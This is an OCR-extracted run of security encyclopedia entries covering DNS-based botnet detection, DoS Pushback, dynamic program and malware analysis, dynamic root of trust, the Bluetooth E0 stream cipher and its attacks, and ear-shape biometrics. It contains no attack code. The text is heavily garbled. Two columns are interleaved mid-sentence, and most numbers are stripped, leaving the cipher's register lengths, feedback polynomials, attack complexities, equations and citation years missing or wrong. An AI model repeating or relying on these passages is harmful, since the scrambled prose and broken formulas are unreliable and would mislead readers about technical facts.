of botnet detection methods that are based on observing workshop on steps to reducing unwanted traffic on the internet
the DNS activities in the network infrastructure. Unlike (SRUTI), San Jose
other approaches, the DNS-based detection method does . Schonewille A, van Helmond DJ () The domain name
not require the specific knowledge about the botnet pro- service as an IDS Masters project, University of Amsterdam,
Netherlands. http://staff.science.uva.nl/~delaat/snb- - /
tocol or its behavior signatures a priori. In general, when
p/report.pdf. Accessed Feb
a botnet changes its protocol or structure, the detection . Villamarin-Salomon R, Brustoloni JC () Identifying bot-
method based on a particular botnet protocol signature nets using anomaly detection techniques applied to DNS traf-
would become obsolete. Since most botnets utilize domain fic. In: Proceedings of th IEEE consumer communications and
names that are used as command and control servers, networking conference (CCNC ), Las Vegas
or as drop points for collecting stolen information from
infected hosts, the DNS based approach can be a more
effective way of detecting botnets without prior protocol
knowledge. DoS Pushback
Dagon [, ] first pioneered this botnet detection mech-
anism on DNS network level behaviors. He presented a John Ioannidis
method which detected Dynamic DNS (DDNS) names Google, Inc., New York, NY, USA
with unreasonably high or temporally concentrated query
rates. An alternative approach [] was to detect DDNS
names with abnormally recurring NXDOMAIN replies, Dinition
which is often the case when the bot send query for the Pushback was an early attempt at treating DDoS attacks
dynamic domain name that is not yet activated by the bot- purely as a congestion-control problem.
master or has been taken down. R. Villamarin-Salomon
and J.C. Brustoloni [] compared these two methods and Introduction
concluded that the first method creates more false pos- As of this writing (), years have already passed
itives than the second method. They believed that their since the first major Distributed Denial-of-Service (DDoS)
unsuccessful attempt at differentiating DDNS queries from attacks were observed, and while such attacks are now
other DNS queries contributed to the high false positives. an everyday event, no cheap way has yet been devised to
They attempted to distinguish DDNS queries by check- counter them. The very nature of the problem is hard: fun-
ing low TTL values which is a necessary but insufficient damentally, what is being attacked is not any particular
condition for DDNS responses. Since low TTL values are vulnerability in the victims network, but rather the very
typically used for legitimate domains and are becoming fact that the victim is networked through links of finite
more common, the first method is less effective than the capacity. An extensive theoretical analysis can be found in
second method. [], and an implementation in [].
D DoS Pushback
Theory router would not have to discard it itself. The question the
becomes, of course, how to characterize this bad traffic
Pushback Mechanism
no evil bit [] is set in the incoming packets. The concept
Consider the network segment shown in Fig. . A tar-
of a traffic aggregate [] emerges naturally: what do packets
get site, T, is undergoing a denial-of-service attack. Some
that get dropped at the outgoing congested link -T have
routers and the corresponding links leading up to that site
in common? Usually, some combination of actual destina-
are shown, along with where the attack traffic is coming
tion IP address, packet length, protocol, and even range of
from. In general, no matter how large an attack, the oncom-
source addresses can succinctly describe the attack traffic.
ing traffic will not be uniformly distributed; the number
We examine the dropped packets because in conditions of
of machines in the Internet is much much larger than
sustained attacks, they are the same as the attack traffic.
even the largest bot-net observed. This non-uniformity is
Thus the traffic aggregate becomes an approximation for
shown the Fig. by showing most of the attack traffic com-
the common characteristics of the attack traffic.
ing from the left-hand-side of the network. Because attack
Now, once router has determined the traffic aggregate
traffic does not obey end-to-end congestion control rules,
responsible for congestion on the link -T, it can identify
it starves legitimate connections, which observe the con-
that such traffic is coming in through links - and -,
gestion and back off. In our example, the access link (-T) is
but not -. It knows how much traffic, in bits per second, it
completely congested; chances are that only attack traffic is
will be dropping on the link -T, and thus signals routers
flowing through it. Note that even though there is no attack
and to throttle such traffic themselves there is no reason
traffic coming down routers and , these routers will
why and should send router the attack traffic if it, in
not be contributing any legitimate traffic either: any flows
turn, will simply discard it. This signaling involves a simple
toward T that may have existed before the attack started
protocol whereby a router tells its upstream(s) which traf-
will have starved and completely backed off. While non-
fic aggregates to throttle, and by how much. When router
access links in the Internet tend to be over-provisioned and
(and ) get this message, they will start dropping pack-
rarely congested, a large enough attack may congest some
ets belonging to the traffic aggregate that would be going
of them, for example, some transoceanic link running close
out over link - (and -). They, in turn, can signal their
to capacity. In our example, the link is congested. As
upstreams to throttle traffic, and so on. Note, in addition,
a result, traffic completely unrelated to the target under
that when router starts throttling attack traffic over link
attack, for example, traffic flowing along the path --,
-, congestion on that link will be alleviated automati-
also suffers. This collateral damage to transit Internet Ser-
cally. The recursion terminates when enough routers have
vice Providers was originally though to be enough of an
been reached that the individual contributions from their
incentive for them to collaborate on providing a solution.
upstreams are below some configured minimum. Period-
The key insight behind Pushback is this: if a router
ically, the routers participating in a Pushback operation
has a congested outgoing link, some of the traffic it receives
reexamine their drop queues; if the attack appears to have
from its incoming links will be discarded; if it could tell its
subsided, they remove the rate-limiting filters.
upstream routers which traffic to discard, then the original
Open Problems
Discussion
Pushback generated a fair amount of interested when first
1 2 3 4 proposed, and while it looks elegant on paper, it is not
deployable in any realistic manner. It provides no advan-
tage to an early adopter, hence no single ISP wanted to be
5 6 7 the first to use it. It also requires hardware and software
support on routers, and unless ISPs asked for it, equipment
vendors would have no reason to add such a feature. Even if
9 such functionality were to somehow appear in equipment,
8
operational issues (such as ISPs not trusting each other not
to use Pushback to alter the traffic ratio between them,
T and thus the basis for peering agreements) that would have
made adoption by providers very unlikely. The fundamen-
DoS Pushback. Fig. A DDoS attack in progress tal idea, that of finding a characteristic of just the attack
Dynamic Analysis D
traffic and filtering at a networks edges, is one of the main without ever executing the program, dynamic analysis
ways modern anti-DDoS systems work. techniques typically make inferences by observing the
execution of the program on several inputs.
Recommended Reading Dynamic analysis tools are typically structured as
. Bellovin S () The Security Flag in the IPv Header. RFC , shown in Fig. . The program under observation is exe-
Internet Engineering Task Force, April cuted using several test inputs, and its execution is mon-
. Ioannidis J, Bellovin SM () Implementing pushback: Router- itored by an agent called the observer. The analysis agent
based defense against DDoS attacks. In: Proceedings of Internet
society symposium on network and distributed system security.
consumes the output of the observer to make inferences
about program behavior. The observer can be implemented
San Diego, pp
. Mahajan R, Bellovin SM, Floyd S, Ioannidis J, Paxson V, Shenker S in several ways: by compiling the program with library
D
(July ) Controlling high bandwidth aggregates in the net- that interposes on instructions of interest; by dynamically
work. Comput Commun Rev (): instrumenting the program; or by running the program
within a specialized execution environment, such as a
modified operating system, a virtual machine monitor, or
a system emulator. The analysis component can also be
DPA implemented as an online agent, which processes the out-
put of the observer as the program executes, or as an offline
Differential Power Analysis agent, which processes the traces logged by the observer.
As a simple example, consider a dynamic analysis that
aims to study the patterns of system calls issued by a user-
space program. The observer for such an analysis could be
Dynamic Analysis implemented as an operating system module that logs all
the traps issued by the program (and the corresponding
Mihai Christodorescu , Vinod Ganapathy program counters) in a file, while the analysis component
could be implemented as an offline user-space program
IBM T.J. Watson Research Center, Hawthorne, NY, USA
that studies this log to infer a context-free grammar of
Department of Computer Science, Rutgers, The State
University of New Jersey, Piscataway, NJ, USA system calls issued by the program.
As is standard in program analysis, the quality of the
results produced a dynamic analysis algorithm can be eval-
Synonyms uated based upon soundness and completeness. Informally,
Dynamic program analysis; Runtime analysis a program analysis is sound if the results of the analysis
are consistent with the actual behavior of the program. It
Related Concepts is complete if the analysis is able to infer all the behaviors
Dynamic Analysis of Malware; Intrusion Detection; of interest of the program.
Malware Detection; Static Analysis Dynamic program analysis tools typically (though not
always) fare well on soundness. This is because they can
Denition observe the actual execution of the program when making
Dynamic analysis refers to the broad class of techniques inferences about its behavior. However, the completeness
that make inferences about a program by observing its of dynamic analysis depends critically on the complete-
runtime execution behavior. ness of the inputs used to execute the program. It is well
known that finding a set of inputs that exercise a suffi-
Theory cient portion of the programs state space is challenging;
Program analysis techniques can broadly be classified as a consequence, dynamic analysis tools rarely give any
as static or dynamic. Whereas static analysis techniques guarantees of completeness. Finally, dynamic analysis tools
attempt to make inferences about program behavior can often impose a performance penalty on the runtime
Program
Observer Analysis
Inputs being
agent agent
analyzed
Dynamic Analysis. Fig. Schematic overview of dynamic analysis tools

D Dynamic Analysis
execution of the program being observed. As a result, sev- introduced. In particular, a program needs to be updated
eral optimizations may need to be incorporated to observe so that all accesses to security-sensitive resources are medi-
the behavior of a deployed program. ated by a newly introduced reference monitor. The key
observation that accesses to security-sensitive resources
Applications are associated with observable behaviors and thus can be
Because of their soundness, dynamic analysis has found automatically mined from differences between executable
many uses in bug finding and program understanding. traces lead to effective techniques for retrofitting large
The most common applications of dynamic analysis are legacy code bases (e.g., the X window system) to interact
software debugging and software profiling. Debugging is with new reference monitors (e.g., SELinux) [].
commonly not automated, requiring a human expert (usu- Dynamic analysis has found applications also in the
ally the software developer himself) to drive the debug- malware domain, where source code is not available and
ging procedure by defining the points where the programs the programs are purposefully written to be hard to ana-
should stop and by inspecting the program state to ensure lyze. Techniques to deal with obfuscated programs by
its correctness. Profiling on the other hand collects run- unpacking or decrypting them [] and by exploring the
time performance data in an automated fashion (using an space of potential behaviors in the program [, ] rely on
observer agent either external to the program or inlined dynamic analysis to obtain precise execution data useful in
into the program). After the perfomance data is collected, identifying hidden malicious code.
a human expert uses an analysis agent to identify program The incompleteness of dynamic analysis is a major
components that impact performance negatively. Recent challenge to security applications that build on it, because
techniques, such as delta debugging [], attempt to auto- verifying the security of individual executions impedes
mate the debugging process in order to reduce the time reasoning about the security of the program as a
needed to identify the causes of a program failure. whole. Several techniques exist, some [] based on the
Security research has found these applications from concolic testing [], others on analyzing diverse execu-
the software engineering domain to be of good use because tions triggered by many users [], but incompleteness of
the soundness guarantees of dynamic analysis adapt well dynamic analysis remains an open problem for security
to the constraints of the security domain. First, enforce- applications.
ment of security properties is naturally done during pro-
gram execution (e.g., access control) and thus dynamic
analysis can form the basis of many security-enforcement Recommended Reading
mechanisms. Second, many security properties (e.g., com- . Baliga A, Ganapathy V, Iftode L () Automatic inference and
plete mediation) are quite complex to express and stat- enforcement of kernel data structure invariants. In: ACSAC:
ically verify as a program property, and thus easier to Proceedings of the th Annual Computer Security Applications
Conference, Anaheim, December . IEEE Computer
enforce dynamically. Third, security analysis and enforce-
Society Press, Los Alamitos, pp . http://dx.doi.org/./
ment often has to be done on binary programs, for which ACSAC...
no source code is available (e.g., in the case of malware). . Christodorescu M, Kruegel C, Jha S () Mining specifica-
Dynamic analysis is well suited for binary executables. tions of malicious behavior. In: Proceedings of the th Joint
Host-based intrusion detection systems (HIDSs) are Meeting of the European Software Engineering Conference and
the th ACM SIGSOFT Symposium on the Foundations of Soft-
one application of dynamic analysis, in which the observ-
ware Engineering (ESEC/FSE), Dubrovnik, September
able behavior of a program is constrained within some . ACM Press, New York, pp
security-relevant bounds. A HIDS will collect execution . Comparetti PM, Salvaneschi G, Kolbitsch C, Kruegel C, Kirda E,
events such as system calls and then match them against Zanero S () Identifying dormant functionality in malware
a specification of valid execution []. A HIDS can col- programs. In: st IEEE Symposium on Security and Privacy
(SP ), Berkeley/Oakland, May . IEEE Computer
lect additional information such as stack information
or program variables [, ] and can use complex lan- . Feng HH, Kolesnikov OM, Fogla P, Lee W, Gong W ()
guages to specify valid-execution conditions []. These Anomaly detection using call stack information. In: Proceedings
specifications can be created also using dynamic analysis to IEEE Symposium on Security and Privacy, Berkeley,
learn finite-state automata [], program invariants [], or May . IEEE Computer Society Press, Los Alamitos, p
. Ganapathy V, Jaeger T, Jha S () Retrofitting legacy code for
dependency graphs [] that capture the security-relevant
authorization policy enforcement. In: IEEE Symposium on
aspects of a program. Security and Privacy (SP): Proceedings, Oakland, May
Retrofitting security into legacy programs is a signif- . IEEE Computer Society Press, Los Alamitos, pp .
icant problem as security enforcement mechanisms are http://doi.ieeecomputersociety.org/./SP...
Dynamic Malware Analysis D
. Giffin JT, Dagon D, Jha S, Lee W, Miller BP () Environment- Background

sensitive intrusion detection. In: Valdes A, Zamboni D (eds) Today, malwares have become one of the serious threats
Recent Advances In Intrusion Detection: th international
on the Internet. Analysis of such malware behavior is a
symposium, RAID , Seattle, September . Lec-
critical element in conducting malware defense and mit-
pp igation efforts. There are two methods of analyzing mal-
. Godefroid P, Klarlund N, Sen K () Dart: directed automated wares static malware analysis and dynamic malware
random testing. In: PLDI : Proceedings of the ACM analysis. Static analysis requires analysis of the malware
SIGPLAN Conference on Programming Language Design and
code. The malware code is usually not available for anal-
Implementation, vol , Chicago, June . ACM Press,
ysis and even if it is available, the malware writer often
New York, pp
obfuscates the code, making the static analysis difficult and
D
. Hildebrandt R, Zeller A () Simplifying and isolating failure-
inducing input. IEEE Trans Softw Eng (): time-consuming task.
. Liblit BR () Cooperative bug isolation. PhD thesis, Univer-
sity of California, Berkeley, December
. Martignoni L, Christodorescu M, Jha S () Omniunpack: Theory and Application
fast, generic, and safe unpacking of malware. In: Proceed- In contrast to static analysis, dynamic malware analysis
ings of the Annual Computer Security Applications Conference allows the malware analyst to monitor the execution of
(ACSAC), Miami Beach, FL, December malware at each step. The malware is typically executed in
. Moser A, Kruegel C, Kirda E () Exploring multiple exe-
a sandbox or VM for monitoring the run-time behaviors
cution paths for malware analysis. In: SP: Proceedings of
the IEEE Symposium on Security and Privacy, Berkeley, of the malware. Unlike static analysis, dynamic analysis
May . IEEE Computer Society Press, Los Alamitos, is immune to code obfuscation. Dynamic analysis can be
pp done in two ways []:
. Sekar R, Bendre M, Dhurjati D, Bollineni P () A fast
automaton-based method for detecting anomalous program Taking the system state image before malware
behaviors. In: Proceedings of the IEEE Symposium on Secu- execution and then comparing it with the system state
rity and Privacy, Oakland, May . IEEE Computer after the malware execution
Society Press, Los Alamitos, pp
Executing the malware and observing its behavior dur-
. Wagner D, Dean D () Intrusion detection via static anal-
ysis. In: Proceedings of the IEEE Symposium on Security ing execution
and Privacy (S&P), Oakland, May . IEEE Computer The first approach gives details about the malware at an
abstract level, which only captures the end result of mal-
ware execution. It does not capture the dynamic changes
which occur during the execution of the malware, such as
the files downloaded, created, and deleted before its ter-
Dynamic Malware Analysis mination. In this type of approach, tools like Regshot []
or InstallRite [] can be used, where the analyst first takes
the snapshot of the clean machine and then the snapshot
Brent Byung Hoon Kang, Anurag Srivastava
of the same machine after infection. Later on, these two
Department of Applied Information Technology and
snapshots are compared in order to see the changes made
Centre for Secure Information Systems, The Volgenau
by the malware on that machine. Regshot monitors the
School of Engineering, George Mason University, Fairfax,
system changes whereas InstallRite looks for the overall
VA, USA
system changes, such as directory structure, file properties,
registries, and other system files.
The second approach of running the malware and
Synonyms observing its execution process provides behavior details
Run-time malware analysis at a much more granular level. This approach consists
of monitoring malwares interaction with the file system,
Related Concepts the registry, and the network. These interactions with the
Behavior Extraction; Dynamic Analysis; Malware file system, registries, and the network can be monitored
Analysis; Run-Time Analysis using tools such as Process Monitor [], Process Explorer
[], TCPView [], and Wireshark []. Process Explorer
Denition and Process Monitor are used to monitor system files and
Dynamic malware analysis is the method used for extract- registries, whereas TCPView and Wireshark are used to
ing and determining malwares execution behaviors. monitor network level behavior. As these tools monitor the
D Dynamic Program Analysis
behavior of the whole system rather than the behavior of a . Wireshark. Internet: http://technet.microsoft.com/en- us/
single malicious program, it is important to filter out the sysinternals/bb
. HookExplorer. Internet:http://labs.idefense.com/files/labs/
normal background activities, which are not related to the
releases/previews/HookExplorer/
malware being examined.
Process Explorer lists all the processes which are run-
ning on the system. Since this tool allows user to monitor
all the child processes of a process, it is useful in deter-
mining the child process or any new process created by Dynamic Program Analysis
the malware. It can also be used for identifying whether
the malware is using a particular DLL. This helps the mal- Dynamic Analysis
ware analyst in determining the information which the
malware is trying to capture. Process Monitor is a useful
tool for monitoring files and registry changes made by the
malware during execution. The information captured by Dynamic Root of Trust
the process monitor can be filtered out to determine the
activities performed by the malware being monitored. Sean W. Smith
For monitoring network connections of the infected Department of Computer Science, Dartmouth College,
system, TCPView and Wireshark are often used. TCPView Hanover, NH, USA
monitors connections made by all the processes on the
system. Thus, it is important to filter out the connec- Synonyms
tions made by the malware being examined. The output Late launch
from TCPView can be saved in.csv format, which can
later be filtered out to discover the end point connec- Related Concepts
tions of the malware. Sometimes, it becomes important Trusted Computing
for the malware analyst to look at the information being
exchanged by the malware through the network. This gives Denition
the malware analyst a much deeper insight into the inner The term dynamic root of trust refers to approaches for pro-
workings of the malware. TCPView does not show the viding evidence for a trustworthy platform state (hence,
network packets generated by the malware, for which root of trust) at more arbitrary points in time than just
Wireshark can be used. Wireshark is a network protocol start-up (hence dynamic).
analyzer that captures, filters, and analyzes network traffic.
Unlike TCPView, Wireshark does not list the name of the Background
process which has generated the network traffic. How does a relying party decide to trust a given computing
API monitoring is another aspect of dynamic anal- platform? In recent decades, the notion of trusted comput-
ysis. It lists information about the malware behavior by ing provides a set of techniques for a platform to provide a
intercepting calls to system APIs and logging them. Hook- relying party with evidence enabling this conclusion. How-
Explorer [] lists down the APIs and DLLs associated with a ever, a general limitation of these techniques is that they
particular program or process. By knowing these APIs and measure the platform only at start-up.
DLLs, the analyst can determine the information malware
is capturing. Theory and Applications
The term dynamic root of trust refers to approaches that
aim to overcome this limitation. These approaches are typ-
Recommended Reading
ically based on the newer TXT/Presidio family of proces-
. Willems C, Holz T, Freiling F () Toward automated dynamic
malware analysis using CWSandbox. IEEE Secur Priv ():
sors, which augment the traditional user/kernel privilege
. Regshot. Internet: http://sourceforge.net/projects/regshot/ levels with an orthogonal set of modes, for ordinary oper-
. InstallRite. Internet: http://ptf.com/download/installrite// ation and more secure domain management operation.
. Process Monitor. Internet: http://technet.microsoft.com/en- us/ This concept is also known as late launch, e.g., in that
sysinternals/bb.aspx
the trustworthy environment can be invoked at times later
. Process Explorer. Internet: http://technet.microsoft.com/en- us/
sysinternals/bb
than start-up.
. TCPView. Internet: http://technet.microsoft.com/en- us/ Section . in [] provides a general introduction; []
sysinternals/bb presents an implementation.
Dynamic Separation of Duties D
Recommended Reading
. Intel Trusted Execution Technology () http://www.intel. Dynamic Separation of Duties
com/technology/security/
. Seshadri A, Luk M, Qu N, Perrig A () SecVisor: a tiny hyper- Separation of Duties
visor to provide lifetime kernel code integrity for commodity
OSes. In: SOSP : Proceedings of the Twenty-First ACM SIGOPS
Symposium on Operating Systems Principles
. Smith SW () Trusted Computing Platforms: Design and Appli-
cations, Sect. .. Springer, New York
D
E
last expression has an integer value less than or equal to
E which can be represented by two bits).

Caroline Fontaine z t = xt xt xt xt ct
Lab-STICC/CID and Telecom Bretagne/ITI, ct+ = st+ ct ct ct
CNRS/Lab-STICC and Telecom Bretagne, Brest Cedex ,
ct+ = st+ ct ct
France
x + xt + xt + xt + ct + ct
(st+ , st+ ) = t

Related Concepts This system is used for both initialization step (first
Linear Feedback Shift Register; Stream Cipher; level) and for the keystream generation (second level).
Summation Generator; Synchronous Stream The initialization step consists in filling the four regis-
Cipher ters with a sequence of bits given by G (K) G (IV),
G and G being two affine transforms. Other internal
memory bits are set to zero: st = st = ct = ct = . The
Denition generator is then clocked times. A third affine trans-
E is a stream cipher, designed especially for Bluetooth form G is then applied to the last -bit output. The result
communications (Bluetooth is a standard for wireless is used to re-initialize the four registers, and the generator
short-range connectivity, see []). It is a synchronous is now ready to produce the keystream for encryption or
stream cipher. decryption.
Background Theory
E uses a secret key of at most bits, and an ini- The first attacks were published around [], []
tialization vector IV of bits. IV is composed of a leading to a work factor of O( ), with a precomputing
-bit Bluetooth address, and a -bit master counter. stage of complexity O( ).
Bluetooth protocol processes frames of at most More recently, Lu and Vaudenay [] pushed the ideas
bits, each frame being encrypted with a different IV, of Hermelin and Nyberg [] further, and proposed a dis-
while the secret key K remains the same for the whole tinguisher with time complexity ; this time complexity
session. can be reduced to , thanks to a huger precomputation
As usual for stream ciphers, encryption/decryption ( operations).
relies on two important steps: the setup of the initial state This attack also lead, with Fluhrer and Lucks [], to a
and the keystream generation. correlation attack, which recovers the initial state of one
The system is derived from the summation generator, level []. It needs operations and keystream bits
with four inputs LFSRs and four memory bits. The four to succeed. Algorithmically speaking, this attack is then
LFSRs have lengths , , , and , respectively, their achievable. But it is not applicable to Bluetooth frames
feedback polynomials are all primitive, with five nonzero as their size is smaller and the IV is changed for any
terms (P (x) = x + x + x + x + , P (x) = x + new frame. Nevertheless, it has been improved in []
x + x + x + , P (x) = x + x + x + x + , to take this into account and attack the true Bluetooth
P (x) = x + x + x + x + ). Its structure is depicted encryption scheme in an efficient way. This new attack
in Fig. , where t denotes the time, and the internal mem- has time complexity and needs the first bits of the
ory bits satisfy (in the three first equations, the addition is keystream frames generated for approximately . IVs.
taken modulo , denoting the XOR operator; in the last A last improvement has been proposed in [], leading to a
one, it is the usual integer addition please note that this time complexity using the first bits of the keystream
E e-Government
e-Government
LFSR 1 x1t s1t
CRYPTREC (Japanese Cryptographic Algorithm Evalu-
LFSR 2 x2t s0t ation Project)
zt
LFSR 3 x3t c1t
LFSR 4 x4t c0t Ear Shape for Biometric

Identication
E. Fig. One level of E
Bir Bhanu
Center for Research in Intelligent Systems, University of
California, Riverside, CA, USA
frames generated for approximately . IVs. These attacks

Synonyms
are more deeply described in [].
Human ear biometrics; Human ear identification; Human
For all these reasons, E cannot be considered as secure
ear recognition; Human ear verification
enough.
Related Concepts
Ear Detection; Ear Shape and Its Uniqueness
Applications
E has been designed for securing Bluetooth communica-
tions [].
Denition
Ear shape has played a significant role in forensic sci-
ence and its use by law enforcement agencies for many
years. After decades of research of anthropometric mea-
Recommended Reading surements of ear photographs of thousands of people, it
. Bluetooth TM () Bluetooth specifications. Version ., Febru-
has been found that no two ears are alike, even in the
ary . http://www.bluetooth.com/
. Ekdahl P, Johansson T () Some results on correlations in the
cases of identical and fraternal twins, triplets, and quadru-
Bluetooth stream cipher. Proceedings of the th joint conference plets. It is also found that the structure of the ear does not
on communications and coding change radically over time. However, until recently most
. Fluhrer S, Lucks S () Analysis of the E encryption scheme. of this work has been on analyzing the ear photographs
Selected areas in cryptography . Springer, Berlin
manually. Recent work on ear biometrics focuses on devel-
. Golic J, Bagini V, Morgari G () Linear cryptanalysis
of bluetooth stream cipher. Advances in cryptology Euro-
oping automated techniques for ear recognition. Typically,
crypt. Lectures notes in computer science, vol . Springer, an ear biometrics system consists of ear detection and ear
pp recognition (authentication and identification) modules.
. Hermelin M, Nyberg K () Correlation properties of the Blue- Ear recognition can be based on a D gray scale or color
tooth combiner. Information security and cryptology ICISC.
image, D range image or a combination of D and D
Lecture notes in computer science, vol . Springer, pp
. Lu Y, Vaudenay S () Faster correlation attack on blue-
images.
tooth keystream generator E. Advances in cryptology crypto
. Lecture notes in computer science, vol . Springer, Background
pp
Rich in features, the human ear [, ] is a stable struc-
. Lu Y, Vaudenay S () Cryptanalysis of bluetooth keystream
generator two-level E. Advances in cryptology asiacrypt
ture that does not change much in shape with the age
. Lecture notes in computer science, vol . Springer, and with facial expressions (see Fig. ). Ear can be easily
pp captured from a distance without a fully cooperative sub-
. Lu Y, Meier W, Vaudenay S () The conditional correlation ject although it can sometimes be hidden by hair, muffler,
attack: a practical attack on bluetooth encryption. Advances in
scarf, and earrings. Early work for ear recognition used
cryptology crypto . Lecture notes in computer science, vol
. Springer, pp
D intensity images of human ears []. These approaches
. Lu Y () Applied stream ciphers in mobile communications. used (a) principal component analysis, (b) graph matching
PhD thesis, Ecole Polytechnique Fdrale de Lausanne using edge segments, and (c) wells and channels extracted
Ear Shape for Biometric Identication E
(see Fig. ) are similar for different people, the small defor-
Crus of helix mation of two curves between different persons is not
taken into account, which greatly simplifies the ear shape
model. Given side face range images, first the step edges
Helix are extracted; then the edge segments are dilated, thinned,
and grouped into different clusters that are the poten-
Concha
tial regions containing an ear. For each cluster, the ear
shape model is registered with the edges. The region with
the minimum mean registration error is declared as the
Antihelix Tragus detected ear region; the ear helix and antihelix parts are
identified in this process. A more elaborative approach for
finding ear helix and antihelix from range and color images
E
Antitragus
is described under ear detection.
Lobe Ear Local Surface Patch Representation: A local sur-
face patch (LSP) is defined as the region consisting of a
Ear Shape for Biometric Identication. Fig. The external ear
feature point P and its neighbors N. The LSP representa-
and its anatomical parts
tion includes feature point P, its surface type, centroid of
the patch, and a histogram of shape index values versus dot
product of the surface normal at point P and its neighbors.
using a force field transform as the basis of an ears signa- A local surface patch is shown in Fig. . The neighbors
ture. The performance of these D techniques is greatly satisfy the following conditions,
affected by the pose variation and imaging conditions.
However, an ear can be imaged in D using a range sensor N = {pixels N, N P }
that provides a registered color and range image. Figure and acos(np nn < A), ()
shows an example of a range image and the registered color
where denotes the dot product between the surface nor-
image acquired by a Minolta Vivid camera. A range
mal vectors np and nn at point P and N and acos denotes
image is relatively insensitive to illuminations and con-
the inverse cosine function. The two parameters and
tains surface shape information related to the anatomical
A are important since they determine the descriptiveness
structure, which makes it possible to develop a robust D
of the local surface patch representation. A local surface
ear biometrics. The performance of D approaches for ear
patch is not computed at every pixel in a range image,
recognition is significantly higher than the D approaches.
but only at selected feature points. The feature points
In the following, the focus is on D approaches for ear
are defined as the local minimum and the maximum of
representation, detection, and recognition [].
shape indexes, which can be calculated from principal
curvatures.
Theory Shape Index: Shape index Si , a quantitative measure of
the shape of a surface at a point p, is defined by (),
D Ear Representation
k (p) + k (p)
For ear recognition, mostly three representations are used: Si (p) = tan ()
principal component analysis [], a new ear helix/antihelix k (p) k (p)
representation [] obtained from the ear detection algo- where k and k are maximum and minimum prin-
rithm, and a new local surface patch representation [] cipal curvatures, respectively. With this definition, all
computed at feature points to estimate the initial rigid shapes can be mapped into the interval Si [, ]. The
transformation between a gallery (template) -probe (test) larger shape index values represent convex surfaces and
pair. Then an iterative closest point algorithm (ICP) is used smaller shape index values represent concave surfaces.
to refine the initial transformation for the registration of
two D shapes. In the following the focus is on the last two Ear Detection
newer representations. Human ear detection is the first task of a human ear
Ear Helix/Antihelix Representation: The generic ear recognition system [] and its performance significantly
shape model is represented by a set of discrete D ver- affects the overall quality of the system. Automated tech-
tices corresponding to ear helix and antihelix parts. Since niques for locating human ears in side face range images
the two curves formed by the ear helix and antihelix parts are: () template matching-based detection, () ear shape
E Ear Shape for Biometric Identication
480
490 490
z
500 500
510 510 40
z
40 40
30 520 30
20
0 20 530 20
20
20 10 x 0 10
x
y 40 0 20
40 0
a 60 10 b y 60 c
Ear Shape for Biometric Identication. Fig. Range image and color image captured by a Minolta Vivid camera. In images (a)
and (b), the range image of one ear is displayed as the shaded mesh from two viewpoints (the units of x, y, and z are in millimeters).
Image (c) shows the color image of the ear
Ear Shape for Biometric Identication. Fig. Results of ear localization. The helix and the antihelix parts are marked by the bright
dots and the detected ear is bounded by a rectangular box
model-based detection, and () fusion of color and range

images and global-to-local registration-based detection.
The first two approaches use range images only, and the
third approach fuses the color and range images.
Shape index The template matching-based approach has two stages:
0 0.5 1 offline model template building and online ear detection.
1
The ear can be thought of as a rigid object with much con-

cave and convex areas. The averaged histogram of shape
Dot product
index (a quantitative measure of the shape of a surface) rep-

0
resents the ear model template. During the online detec-

tion, first the step edges are computed and thresholded
since there is a sharp step edge around the ear bound-
1
ary, and then image dilation and connected-component

a b
analysis are performed to find the potential regions con-
Ear Shape for Biometric Identication. Fig. Illustration of a taining an ear. Next, for every potential region, the regions
local surface patch (LSP). (a) Feature point P is marked by the are grown and the dissimilarity between each regions his-
asterisk and its neighbors N are marked by the interconnected togram of shape indexes and the model template is com-
dots. (b) The D histogram is shown as a gray image in which puted. Finally, among all of the regions, the one with the
the brighter areas correspond to bins with the high frequency minimum dissimilarity is chosen as the detected region
of occurrence that contains ear.
For the ear shape model-based approach, the generic the ear detection algorithm) between a gallery-probe ear
ear shape model is represented by a set of discrete D ver- pair is established and it is used to compute the initial
tices corresponding to ear helix and antihelix parts. A ear is rigid transformation. For the local surface patch (LSP) rep-
detected by following the approach described above under resentation [], a local surface descriptor (see Fig. ) is
helix/antihelix representation. characterized by a centroid, a local surface type, and a D
In the above two approaches, there are some edge seg- histogram. The D histogram and surface type are used for
ments caused by non-skin pixels, which result in the false comparison of LSPs and the centroid is used for computing
detection. Since a range sensor provides a registered D the rigid transformation. The patch encodes the geometric
range image and a D color image (see Fig. ), it is possible information of a local surface.
to achieve a better detection performance by the fusion of The local surface descriptors are computed for the fea-
the color and range images. This approach consists of two ture points, which are defined as either the local minimum
steps for locating the ear helix and the antihelix parts. or the local maximum of shape indexes. By comparing the
E
In the first step a skin color classifier is used to isolate local surface patches for a gallery and a probe image, the
the side face in an image by modeling the skin color and potential corresponding local surface patches are estab-
non-skin color distributions as a mixture of Gaussians. The lished and then filtered by geometric constraints. Based
edges from the D color image are combined with the step on the filtered correspondences, the initial rigid transfor-
edges from the range image to locate regions-of-interest mation is estimated. Once this transformation is obtained
(ROIs) that may contain an ear. In the second step, to locate using either of the two representations, it is then applied
an ear accurately, the reference D ear shape model, which to randomly selected control points of the hypothesized
is represented by a set of discrete D vertices on the ear gallery ear in the database. A modified Iterative Clos-
helix and the antihelix parts, is adapted to individual ear est Point (ICP) algorithm is run to improve the trans-
images by following a global-to-local registration proce- formation, which brings a gallery ear and a probe ear
dure instead of training an active shape model built from a into the best alignment, for every gallery-probe pair. The
large set of ears to learn the shape variation. In this proce- root mean square (RMS) registration error is used as
dure after the initial global registration local deformation the matching error criterion. The subject in the gallery
process is carried out where it is necessary to preserve the with the minimum RMS error is declared as the recog-
structure of the reference ear shape model since neighbor- nized person in the probe. Note that iterative closest point
ing points cannot move independently under the defor- (ICP) algorithm developed by Besl and Mckay [] is a
mation due to physical constraints. The bending energy of well-known method to align D shapes. However ICP
thin plate spline, a quantitative measure for nonrigid defor- requires that every point in one set have a correspond-
mations, is incorporated into the optimization formulation ing point on the other set. This cannot be guaranteed in
as a regularization term to preserve the topology of the ear practice. As a result modified ICP algorithms exist in the
shape model under the shape deformation. The optimiza- literature.
tion procedure drives the initial global registration toward
the ear helix and the antihelix parts, which results in the Experimental Results
one-to-one correspondence of the ear helix and the anti- Two datasets are used for D ear recognition []: The Uni-
helix between the reference ear shape model and the input versity of California at Riverside dataset (the UCR dataset)
image. Figure shows an example in which the detected ear and the University of Notre Dame public dataset (the UND
helix and the antihelix parts are shown by the dots super- dataset). In the UCR dataset there is no time lapse between
imposed on the D color images and the detected ear is the gallery and probe for the same subject, while there is
bounded by the rectangular box. A comparison of the three a time lapse of a few weeks (on the average) in the UND
